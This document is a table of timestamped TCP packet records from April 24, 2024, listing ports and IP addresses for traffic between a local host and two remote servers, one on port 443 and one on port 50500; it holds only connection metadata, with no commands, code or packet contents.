Apr 24, 2024 14:43:25.423197031 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.423240900 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.423561096 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.423593044 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.423635960 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.423640013 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.423674107 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.423693895 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.424168110 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.424187899 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.424253941 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.424257994 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.424267054 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.424290895 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.424300909 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.424304962 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.424360991 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.425473928 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.425496101 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.425548077 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.425553083 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.425573111 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.425597906 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.426964045 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.426985025 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.427032948 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.427037001 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.427066088 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.427092075 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.427639961 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.427673101 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.427706957 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.427710056 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.427752018 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.427829027 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.427896976 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.427900076 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.427916050 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.427942991 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.427979946 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.428070068 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.428090096 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:26.411204100 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:26.797590017 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:26.797662020 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:27.203419924 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:27.203479052 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:27.474523067 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:27.495970011 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:27.496023893 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:27.496124983 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:27.496145010 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:27.496165037 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:27.496176958 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:27.496244907 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:27.496296883 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:27.496304035 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:27.496331930 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:27.496347904 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:27.496390104 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:27.496471882 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:27.496510029 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:27.496522903 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:27.496563911 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:27.496591091 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:27.496598959 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:27.496607065 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:27.496635914 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:27.496674061 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:27.496714115 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:27.496720076 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:27.496757984 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:27.496788979 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:27.496813059 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:27.496814966 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:27.496850014 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:27.496870995 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:27.496910095 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:27.594331980 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:27.837049007 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:27.837464094 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:27.837528944 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:27.837614059 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:27.837744951 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:27.837816000 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:27.837848902 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:27.837909937 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:27.837951899 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:27.838001013 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:27.838078976 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:27.838119984 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:27.838196039 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:27.838260889 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:27.838301897 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:27.838447094 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:27.838525057 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:27.838592052 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:27.838632107 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:27.838718891 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:27.838833094 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:27.838884115 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:27.838936090 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:27.838978052 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:27.839042902 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:27.839149952 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:27.839191914 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:27.839246035 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:27.839366913 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:27.839405060 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:27.839426994 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:27.839505911 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:27.839591980 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:27.839636087 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:27.839662075 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:27.839799881 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:27.839838982 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:27.839875937 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:27.839912891 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:27.839982986 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:27.840019941 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:27.840059042 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:27.840107918 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:27.840121984 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:27.840161085 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:28.178802967 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.178823948 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.178875923 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.178944111 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:28.178960085 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.178978920 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.179007053 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:28.179056883 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.179152966 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.179188967 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:28.179321051 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.179424047 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.179441929 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.179465055 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:28.179481030 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:28.179543972 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.179558992 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.179609060 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.179649115 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:28.179729939 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.179819107 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.179861069 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:28.179877996 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.179919004 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:28.179944992 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.180001020 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.180042028 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.180047035 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:28.180114985 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.180314064 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.180356026 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:28.180383921 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.180485964 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.180533886 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:28.180654049 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.180694103 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:28.180713892 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.180769920 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.180811882 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:28.180867910 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.180912018 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.180952072 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:28.180974007 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.181035995 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.181050062 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.181088924 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:28.181112051 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.181157112 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.181193113 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:28.181206942 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.181262970 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.181274891 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:28.181338072 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.181353092 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.181379080 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:28.181494951 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.181533098 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.181576967 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:28.181603909 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.181786060 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.181826115 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.181833029 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:28.181864977 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:28.181896925 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.182013988 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.182054043 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:28.182070971 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.182137966 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.182177067 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.182185888 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:28.182240009 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.182286978 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.182327032 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:28.182354927 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.182391882 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.182432890 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:28.182451963 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.182466030 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.182488918 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:28.182538033 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.182635069 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.182647943 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.182676077 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:28.182691097 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:28.182729006 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.182768106 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.182806015 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:28.182833910 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.182857037 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.182897091 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:28.519679070 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.519730091 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.519768953 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.519789934 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.519809008 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:28.519843102 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:28.519850016 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.519927025 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.519974947 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.520006895 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:28.520020962 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.520047903 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.520082951 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:28.520165920 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.520181894 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.520205975 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:28.520216942 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.520314932 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.520350933 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:28.520368099 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.520416021 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.520464897 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:28.520472050 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.520545959 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.520576000 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:28.520648003 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.520685911 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:28.520694971 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.520749092 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.520778894 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.520817041 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:28.520836115 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.520896912 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.520936012 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:28.520939112 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.520977974 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.521023989 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:28.521023989 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.521066904 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:28.521085978 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.521131039 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.521146059 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.521171093 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:28.521306992 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.521322012 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.521358013 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:28.521480083 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.521517038 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:28.521531105 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.521576881 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.521625996 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.521668911 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:28.521725893 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.521740913 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.521765947 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:28.521816969 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.521881104 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.521912098 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:28.521924973 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.521969080 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:28.521972895 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.522027969 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.522063971 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:28.522094965 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.522159100 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.522197962 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.522233963 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:28.522239923 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.522293091 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:28.522293091 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.522330046 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.522367001 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:28.522386074 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.522428989 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.522449017 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.522484064 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:28.522516012 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.522572041 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.522608995 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:28.522628069 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.522669077 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:28.522684097 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.522733927 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.522787094 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.522821903 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:28.522825956 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.522897005 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.522933006 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:28.522969007 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.523020983 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:28.523035049 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.523173094 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.523238897 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.523260117 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:28.523317099 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.523385048 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.523416996 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:28.523426056 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.523452044 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.523472071 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:28.523521900 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.523556948 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.523601055 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:28.523619890 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.523675919 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.523711920 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.523713112 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:28.523750067 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:28.523780107 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.524180889 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.524224997 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:28.524228096 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.524317980 CEST	50500	49707	193.233.132.47	192.168.2.8
